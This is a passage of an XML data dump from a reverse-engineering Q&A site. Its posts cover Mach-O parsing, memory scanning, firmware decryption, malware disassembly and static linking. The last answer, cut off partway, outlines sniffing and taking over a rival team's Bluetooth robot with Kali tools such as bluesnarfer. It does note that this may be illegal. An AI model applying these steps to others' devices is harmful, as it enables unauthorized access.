be discharged by the slicing, by any contact with air or anything. Better would be reverse the circuit and detect programming interface on some spare chip and then use &lt;strong&gt;#1&lt;/strong&gt; on the real one ... &lt;strong&gt;FLASH&lt;/strong&gt; memories are based on domino technology so it should be detectable from the die shot directly like &lt;strong&gt;PROM&lt;/strong&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8773/4709&quot;&gt;How was the Zero Flag implemented on Z80 ALU?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/3111/4709&quot;&gt;Physically auditing the layout of transistors inside a processor made at 22mm process die&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To make some universal &lt;strong&gt;HW&lt;/strong&gt; for this you would need to have some analog multiplexors switching matrix to be able to support any pinout and then prior to use configure which pin is what (power supply, data, ...). That is more or less possible (considering voltage, current, impedance, and frequency requirements) but to use it you would need the necessary info you do not have for unknown chip anyway ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To detect the chip first you would need to try power it up which will most likely burn any chip with wrongly selected pins... making universal detection impossible. For a group of similar chips is this possible but again you would need some info about them ...&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-06-21T08:01:10.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12902" PostTypeId="1" AcceptedAnswerId="13293" CreationDate="2016-06-21T10:38:28.033" Score="0" ViewCount="629" Body="&lt;p&gt;I'm trying to understand how Mach-O files work, i already succeed with parsing of load commands, sections, symbols table etc.. anyway i'm trying to figure out a way to find class methods pointer to the __text section in order to disassemble them, i noticed that sometimes in the symbol table the &quot;value&quot; field has the same offset of the function in the __text section, there's a generic rule to parse ObjC classes and methods and take pointers to these methods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much.&lt;/p&gt;&#xA;" OwnerUserId="16485" LastActivityDate="2016-08-16T06:27:18.220" Title="Mach-O functions pointer" Tags="|arm|functions|ios|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12904" PostTypeId="1" CreationDate="2016-06-21T15:06:09.880" Score="3" ViewCount="563" Body="&lt;p&gt;I am trying to read messages from a (32bit windows application) chat window. Unfortunately, the window has a custom class, therefore &lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/ms633520(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;GetWindowText()&lt;/a&gt; doesn't help. I need to read the data from memory somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into it with CheatEngine and found the strings I was looking for in several places. However, it seems that their location changes from time to time, because the value at the addresses changed, for example when new text was entered in the chat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I'm no expert on this subject. My naive assumption would be, that the strings are contained in some vector-like data structure (and the changing values at the addresses could be caused by reallocation?), but I'm not sure about that ofcourse.&#xA;I have written a basic MemoryScanner thats able to find some integer values (and I'm sure I could extend it to find strings as well), but how do I proceed from here, if I neither know the address of the chat messages nor the exact layout of the underlying data structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm grateful for any suggestions!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have started to analyze the program with IDA Pro. I have found several strings (in the .rdata section), that are regularly used in the chat, even 'printf'-like with name replacements.&#xA;I have set breakpoints on these strings, as well as the functions that call these strings. However, they don't get triggered when chat messages are entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to know about the .rdata segment? Does it get loaded on program startup for example? If so, how would I proceed from here?&lt;/p&gt;&#xA;" OwnerUserId="16486" LastEditorUserId="14561" LastEditDate="2016-06-24T11:58:17.990" LastActivityDate="2016-07-29T10:05:12.063" Title="How to find address of more complicated, unknown data structures" Tags="|ida|windows|memory|strings|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12906" PostTypeId="1" CreationDate="2016-06-21T20:10:44.007" Score="4" ViewCount="14450" Body="&lt;p&gt;I'm Using .Net Reflector with Reflexil to edit or view .net Assembly codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see this picture in reflexil.net:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYght.png&quot; alt=&quot;reflexil.net&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It Shows the &quot;Compile&quot; window.&#xA;How can I see this window and edit codes?&lt;/p&gt;&#xA;" OwnerUserId="16493" LastEditorUserId="13506" LastEditDate="2018-12-29T20:25:20.220" LastActivityDate="2018-12-29T20:25:20.220" Title="Edit codes in .Net Reflector with Reflexil (Compile Window)" Tags="|.net|decompiler|crackme|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12907" PostTypeId="2" ParentId="12906" CreationDate="2016-06-21T20:36:22.050" Score="3" Body="&lt;p&gt;Decompile a function with .NET Reflector, and in the &lt;strong&gt;Instructions&lt;/strong&gt; tab of the Reflexil window, right click on an instruction and choose &lt;strong&gt;Replace all with code...&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=XaWtoCmOGpw#t=1m40s&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=XaWtoCmOGpw#t=1m40s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-06-21T20:36:22.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12908" PostTypeId="1" CreationDate="2016-06-22T02:00:16.187" Score="3" ViewCount="1661" Body="&lt;p&gt;I am by no means a hardware or software expert. But I've got a bit of a dilemma. I have on my hands an &quot;encrypted&quot; firmware image. I say that with air quotes because I'm not sure if it's encrypted, obfuscated, or whatever. It's an old firmware file that was written to a temporary firmware memory on a device and then executed through a bootloader of some kind. People before me have decrypted the same file; however that was about three years ago and the user who posted the decrypted file has dissappeared, along with the file. I really need the decrytped file, as well as the ability to re-encrypt it once I change some code and have it still run on the device once I've edited it. According to the user who decrypted it originally:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The format is pretty complex, the cryptography is simple. There can be multiple files, encryption is optional, metadata is optional.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The things I know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is not any advanced encryption of any kind - the 1990's vintage chip had to decode it very quickly&lt;/li&gt;&#xA;&lt;li&gt;The first few lines are plaintext&lt;/li&gt;&#xA;&lt;li&gt;The extension is .enc&lt;/li&gt;&#xA;&lt;li&gt;It has been decrypted in the past and is apparently fairly easy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where should I start with this? I tried running a few of the first tools that come up in a google search and they lead me to dead ends. Basically I'd like something that doesn't require me to have a degree in CS to understand. Things would be so much easier if the user who figured out how to decrypt this originally had not fallen off the face of the earth, but we aren't so lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://w3axl.com/SMARTRIB.ENC&quot; rel=&quot;nofollow&quot;&gt;Here's a link to the original file if you want to look&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16495" LastEditorUserId="16495" LastEditDate="2016-06-22T03:51:16.093" LastActivityDate="2022-01-02T20:28:01.347" Title="Decrypting Firmware File" Tags="|firmware|decryption|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12910" PostTypeId="1" CreationDate="2016-06-22T13:13:13.463" Score="0" ViewCount="147" Body="&lt;p&gt;i am reversing a malware sample .but getting stucked in a loop below.the line written in the bold letter generated random letter like &quot;/2&quot;,&quot;/lm32&quot; etc to EDX.The thing is that ECX does not contains any contents memory ,so only register address will be added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004011F7              &amp;gt;  8BD4              MOV EDX,ESP&#xA;004011F9              .  03E1              ADD ESP,ECX&#xA;004011FB              .  4C                DEC ESP&#xA;004011FC              .  66:8B3C24         MOV DI,WORD PTR [ESP]&#xA;00401200              .  8BE2              MOV ESP,EDX&#xA;00401202              .  8BD6              MOV EDX,ESI&#xA;**00401204              .  03D1              ADD EDX,ECX**&#xA;00401206              .  50                PUSH EAX&#xA;00401207              .  03C2              ADD EAX,EDX&#xA;00401209              .  2D 01000000       SUB EAX,1&#xA;0040120E              .  81E7 FFFF0000     AND EDI,0FFFF&#xA;00401214              .  52                PUSH EDX&#xA;00401215              .  8BD7              MOV EDX,EDI&#xA;00401217              .  8810              MOV BYTE PTR [EAX],DL&#xA;00401219              .  5A                POP EDX&#xA;0040121A              .  58                POP EAX&#xA;0040121B              .  49                DEC ECX&#xA;0040121C              .  83F9 00           CMP ECX,0&#xA;0040121F              .  0F84 02000000     JE test.00401227&#xA;00401225              .^ EB D0             JMP SHORT test.004011F7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i am adding the below screenshots before stepin and after stepout.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nGc9S.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGc9S.jpg&quot; alt=&quot;before stepin&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ifSV3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ifSV3.jpg&quot; alt=&quot;After stepin&quot;&gt;&lt;/a&gt;&#xA;please let me know what is happening there.&#xA;Any help will be great.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15305" LastEditorUserId="16472" LastEditDate="2016-06-22T14:15:19.937" LastActivityDate="2016-09-20T14:51:32.507" Title="Unknown algorithm in forloop" Tags="|ollydbg|binary-analysis|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12911" PostTypeId="1" CreationDate="2016-06-22T13:53:37.313" Score="1" ViewCount="1107" Body="&lt;p&gt;I read in &lt;a href=&quot;https://stackoverflow.com/a/12801856/4480139&quot;&gt;another SO thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With static libraries, the unit of copying is the object file in the&#xA;  library.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, if two programs call a function from a certain object file, both programs end up with all of the object file in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, the above answer is from 2012 and I was wondering if newer linkers have come up with smarter solutions, that is, solution that only copy those functions into the executable that are actually needed (e.g. because other functions depend on them).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any general reasons why this is not a good idea or impossible?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way I can find out dependencies between functions inside a static library? Does the linker or the linking process provide this information?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By the term dependency I mean the fact that a certain library function is always copied together with another function into the executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My overall goal is the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an unknown binary but I know it contains code from a certain static library. I don't know the version of the library. I also know that this executable uses a certain function from this static library. I would like to know which other functions are also in the executable (no matter if actually used or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any answers, remarks or ideas. &lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-01-18T20:02:47.660" Title="Function dependencies in static libraries" Tags="|binary-analysis|static-analysis|compilers|binary-format|libraries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12912" PostTypeId="2" ParentId="12910" CreationDate="2016-06-22T14:07:09.467" Score="1" Body="&lt;p&gt;My guess that &lt;code&gt;ECX&lt;/code&gt; is a counter holds the index in &lt;code&gt;C:\WINDOWS\system32\&lt;/code&gt; so the &lt;code&gt;&quot;m32\&quot;&lt;/code&gt; you are talking about is part of the string that &lt;code&gt;EDX+ECX&lt;/code&gt; points to, a wild guess is it might be some kind of &lt;code&gt;sprintf&lt;/code&gt; with the system directory and &lt;code&gt;catsrv.dll&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16472" LastEditorUserId="16472" LastEditDate="2016-06-22T14:16:06.143" LastActivityDate="2016-06-22T14:16:06.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12913" PostTypeId="2" ParentId="12911" CreationDate="2016-06-22T17:24:22.080" Score="2" Body="&lt;p&gt;You are actually asking multiple different questions here :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;[Regarding static linking only a few functions of a library]&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Are there any general reasons why this is not a good idea or impossible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well it &lt;em&gt;could&lt;/em&gt; be possible if it's your code and you know what you are doing (basically making a new library that is a subpart of the first one), but otherwise there's just no simple way to forsee which parts of the object file you are going to use in a general case.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way I can find out dependencies between functions inside a static library? Does the linker or the linking process provide this information?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That would really depend on your library. It might be possible in some case, but outright impossible in other cases. If your library is simple enough and clean enough, it could be easy though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have an unknown binary but I know it contains code from a certain static library. I also know that this executable uses a certain function from this static library. I would like to know which other functions are also in the executable (no matter if actually used or not).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a totally different problem! I'm not sure I perfectly understand your question, because if you know which static library is linked, you already know that the whole library is in your binary and basically reachable. You can then propagate this information with the usual tools (FLIRT signatures, Diaphora, Rizzo, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the library, but not the exact version, you'd usually have to craft an heuristic in order to compare the lib in your binary with multiple versions of this library. (That might also depend on your guessing the compilation parameters if you only have the source code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have no clue about the library that's being use, I guess you'd just have to either make a blind guess or to reverse the whole thing.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-06-22T17:24:22.080" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12914" PostTypeId="2" ParentId="10792" CreationDate="2016-06-22T21:31:38.287" Score="1" Body="&lt;p&gt;It may be a mix of 64 and 32 bit code, to disassemble the 32bit segments, change the segment bitness to 32  ( via Alt-S )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can disassemble those sections as either arm32, or thumb code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A problem will arise when you want to be able to decompile both the 32 and 64 bit code.&#xA;IDA will only be able to decompile the 64 bit code.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2016-06-22T21:31:38.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12915" PostTypeId="1" AcceptedAnswerId="12967" CreationDate="2016-06-23T03:43:26.777" Score="4" ViewCount="564" Body="&lt;p&gt;My goal is to see what's going on &quot;under the hood&quot; in the Windows command prompt when a user pastes text into it. So I loaded &lt;code&gt;cmd.exe&lt;/code&gt; into IDA Pro that is set up in conjunction with the WinDbg debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial guess was to put a breakpoint on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms649048(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenClipboard&lt;/a&gt; API which must be used to access clipboard, but it seems like cmd.exe doesn't even have a dependency on &lt;code&gt;User32.dll&lt;/code&gt; (where OpenClipboard comes from):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hPeWB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hPeWB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So am I reading it correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I'm doing this on Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; You know, there's something other than deferred loading. I let the &lt;code&gt;cmd.exe&lt;/code&gt; initialize and begin running, after which I suspended it. The loaded modules list still didn't have &lt;code&gt;user32.dll&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fbkl5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbkl5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and my deferred breakpoint didn't trigger upon clipboard operation either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d609W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d609W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could there be some other process that does all the &quot;command line&quot; logic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; Just tried to attach to a running &lt;code&gt;conhost.exe&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3UEJS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3UEJS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while IDA Pro was running as administrator and got this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hwolt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hwolt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3:&lt;/strong&gt; Just tried to attach to &lt;code&gt;conhost.exe&lt;/code&gt; via just WinDbg itself and got this error. I'm not sure how &lt;code&gt;NTSTATUS 0xC00000BB&lt;/code&gt; applies here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TEIKb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEIKb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="14864" LastEditDate="2016-07-01T06:07:57.147" LastActivityDate="2016-07-01T10:29:12.650" Title="How to break on a clipboard operation in cmd.exe with IDA / WinDbg?" Tags="|ida|windows|debugging|windbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12916" PostTypeId="2" ParentId="12798" CreationDate="2016-06-23T11:39:23.070" Score="5" Body="&lt;p&gt;This means you only caught the displayed game credits value. Steam is used for multiplayer and online games. So it is very likely that the original value is stored on a server and only the value to be displayed is sent to you in a network package. Cheating by memory modification doesn't help much there. Usually input and graphics hacks are used with online and multiplayer games.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ugtrain can only help if you want to lock/freeze/refill a local memory value you've already found and successfully modified with scanmem. I'm maintaining both tools. Talk to me on GitHub.&lt;/p&gt;&#xA;" OwnerUserId="16509" LastActivityDate="2016-06-23T11:39:23.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12919" PostTypeId="1" CreationDate="2016-06-23T16:31:18.503" Score="0" ViewCount="333" Body="&lt;p&gt;Using the most recent ( as of today ) version of x86dbg I have a problem that follow every executable I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembler in the CPU window, look at the 5th line from the top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7HoRU.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this is happening and or suggestions to correct it?&lt;/p&gt;&#xA;" OwnerUserId="16513" LastEditorUserId="13506" LastEditDate="2018-12-30T21:43:48.767" LastActivityDate="2023-04-25T04:07:10.837" Title="Using x86dbg valid opcodes produce '??? invalid instruction' output" Tags="|disassembly|x86|tools|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="12920" PostTypeId="1" CreationDate="2016-06-23T16:49:40.990" Score="2" ViewCount="301" Body="&lt;p&gt;I can read the public functions (name and full signature) of some &lt;code&gt;.so&lt;/code&gt; files that associated with Android APK, whereas others only show the function name.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, running this command only shows function names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user$ /usr/local/bin/android-ndk/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-nm -gDC libsccrypto.so &#xA;00088952 T a2d_ASN1_OBJECT&#xA;000940f4 T a2i_ASN1_ENUMERATED&#xA;00093628 T a2i_ASN1_INTEGER&#xA;000938a0 T a2i_ASN1_STRING&#xA;000a6520 T a2i_GENERAL_NAME&#xA;000a5bf6 T a2i_ipadd&#xA;000a5d1a T a2i_IPADDRESS&#xA;000a5d54 T a2i_IPADDRESS_NC&#xA;         U abort&#xA;         U accept&#xA;000a94d0 T ACCESS_DESCRIPTION_free&#xA;000f4db8 D ACCESS_DESCRIPTION_it&#xA;000a9518 T ACCESS_DESCRIPTION_new&#xA;00051124 T AES_bi_ige_encrypt&#xA;00052164 T AES_cbc_encrypt&#xA;00050d74 T AES_cfb128_encrypt&#xA;00050d9c T AES_cfb1_encrypt&#xA;00050dc4 T AES_cfb8_encrypt&#xA;00050e10 T AES_ctr128_encrypt&#xA;00051d5c T AES_decrypt&#xA;00050d5c T AES_ecb_encrypt&#xA;00051924 T AES_encrypt&#xA;00050e38 T AES_ige_encrypt&#xA;00050dec T AES_ofb128_encrypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereas this library reveals more information to include function signatures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user$ /usr/local/bin/android-ndk/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-nm -gDC libBreakpad.so &#xA;&#xA;00006a24 T google_breakpad::ExceptionHandler::HandleSignal(int, siginfo*, void*)&#xA;00006768 T google_breakpad::ExceptionHandler::SignalHandler(int, siginfo*, void*)&#xA;00007500 T google_breakpad::ExceptionHandler::WriteMinidump(std::__1::basic_string&amp;lt;char, std::__1::char_traits&amp;lt;char&amp;gt;, std::__1::allocator&amp;lt;char&amp;gt; &amp;gt; const&#xA;&amp;amp;, bool (*)(google_breakpad::MinidumpDescriptor const&amp;amp;, void*, bool), void*)&#xA;0000766c T google_breakpad::ExceptionHandler::WriteMinidump()&#xA;000077f8 T google_breakpad::ExceptionHandler::AddMappingInfo(std::__1::basic_string&amp;lt;char, std::__1::char_traits&amp;lt;char&amp;gt;, std::__1::allocator&amp;lt;char&amp;gt; &amp;gt; cons&#xA;t&amp;amp;, unsigned char const*, unsigned int, unsigned int, unsigned int)&#xA;000078f4 T google_breakpad::ExceptionHandler::RegisterAppMemory(void*, unsigned int)&#xA;00007960 T google_breakpad::ExceptionHandler::UnregisterAppMemory(void*)&#xA;00005f4c T google_breakpad::ExceptionHandler::InstallHandlersLocked()&#xA;00006460 T google_breakpad::ExceptionHandler::RestoreHandlersLocked()&#xA;00006c34 T google_breakpad::ExceptionHandler::WaitForContinueSignal()&#xA;000079ac T google_breakpad::ExceptionHandler::WriteMinidumpForChild(int, int, std::__1::basic_string&amp;lt;char, std::__1::char_traits&amp;lt;char&amp;gt;, std::__1::alloc&#xA;ator&amp;lt;char&amp;gt; &amp;gt; const&amp;amp;, bool (*)(google_breakpad::MinidumpDescriptor const&amp;amp;, void*, bool), void*)&#xA;00007284 T google_breakpad::ExceptionHandler::SimulateSignalDelivery(int)&#xA;00007430 T google_breakpad::ExceptionHandler::SendContinueSignalToChild()&#xA;00006d34 T google_breakpad::ExceptionHandler::DoDump(int, void const*, unsigned int)&#xA;00005bd8 T google_breakpad::ExceptionHandler::ExceptionHandler(google_breakpad::MinidumpDescriptor const&amp;amp;, bool (*)(void*), bool (*)(google_breakpad::M&#xA;inidumpDescriptor const&amp;amp;, void*, bool), void*, bool, int)&#xA;00005bd8 T google_breakpad::ExceptionHandler::ExceptionHandler(google_breakpad::MinidumpDescriptor const&amp;amp;, bool (*)(void*), bool (*)(google_breakpad::M&#xA;inidumpDescriptor const&amp;amp;, void*, bool), void*, bool, int)&#xA;00006130 T google_breakpad::ExceptionHandler::~ExceptionHandler()&#xA;00006130 T google_breakpad::ExceptionHandler::~ExceptionHandler()&#xA;00012408 T google_breakpad::MemoryMappedFile::Map(char const*, unsigned int)&#xA;00012688 T google_breakpad::MemoryMappedFile::Unmap()&#xA;000123e4 T google_breakpad::MemoryMappedFile::MemoryMappedFile(char const*, unsigned int)&#xA;000123d4 T google_breakpad::MemoryMappedFile::MemoryMappedFile()&#xA;000123e4 T google_breakpad::MemoryMappedFile::MemoryMappedFile(char const*, unsigned int)&#xA;000123d4 T google_breakpad::MemoryMappedFile::MemoryMappedFile()&#xA;00012630 T google_breakpad::MemoryMappedFile::~MemoryMappedFile()&#xA;00012630 T google_breakpad::MemoryMappedFile::~MemoryMappedFile()&#xA;0000df50 T google_breakpad::UTF32ToUTF16Char(wchar_t, unsigned short*)&#xA;00010a24 T google_breakpad::LinuxPtraceDumper::ThreadsResume()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought function signatures had to be in the dynamic table of the &lt;code&gt;.so&lt;/code&gt; file or else it would throw a linker error. Also, is there a good references to tell me how to read the dynamic symbol table?&lt;/p&gt;&#xA;" OwnerUserId="16512" LastEditorUserId="53" LastEditDate="2016-06-23T17:19:10.523" LastActivityDate="2016-06-23T17:19:10.523" Title="Why can I not read .so file public functions compiled in C?" Tags="|android|apk|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12921" PostTypeId="2" ParentId="12501" CreationDate="2016-06-23T19:59:11.340" Score="1" Body="&lt;p&gt;Two primary concerns: If your competition is with a formal organization/people who are &quot;friends&quot; but you never drank beer together, then for starters you want to see if this is even legal in your country. In the ole' US-of-A as this &lt;em&gt;could&lt;/em&gt; be in violation of the CFAA, but I'm not a lawyer. Also, would this disqualify you from the (informal) competition? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, think about it: the following (cheeky) attack is notoriously hard to defend against and would require you and your friends changing your pairing codes immediately before AND after each match IN PRIVATE, which is a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that aside, there are quite a few ways to compromise the enemy team with &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=CN3iXGsK9YM&quot; rel=&quot;nofollow&quot;&gt;features&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;, not bugs :D Why go through the trouble of fuzzing the NXT's bluetooth stack and seeing if it has a JTAG port for you to debug it when you can do it the easy way?&#xA;For instance, before the match starts (if they already have their NXT on and are in range) you can pair to it, browse its saved connections and control their NXT, their robot AND yours! Or just directly pair to their robot. However, you need the pairing code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To perform this attack, you absolutely need a device that you can sniff (high-speed) bluetooth traffic with. A software defined radio like hackRF comes &lt;strong&gt;&lt;em&gt;highly&lt;/em&gt;&lt;/strong&gt; recommended because its one of the only bluetooth devices I know that &lt;a href=&quot;https://penturalabs.wordpress.com/2013/09/01/ubertooth-open-source-bluetooth-sniffing/&quot; rel=&quot;nofollow&quot;&gt;can&lt;/a&gt; capture high speed bluetooth data packets. These are the steps I would take to exploit an enemy team's lego NXT or robot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Steps 1-4, try it out on your own devices first, NOT theirs. Its always best to have a &quot;dry&quot; run (steps 1-4) before the &quot;live&quot; run (against their NXT/robot in step 5).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;get Kali linux, as most of the tools comes with the image&lt;/li&gt;&#xA;&lt;li&gt;Use bluesniff/blueScanner/etc. to grab the devices' address (looks like a mac address)&lt;/li&gt;&#xA;&lt;li&gt;From there, use &lt;a href=&quot;http://tools.kali.org/wireless-attacks/bluesnarfer&quot; rel=&quot;nofollow&quot;&gt;bluesnarf&lt;/a&gt; to send custom ([-c]) commands. In this 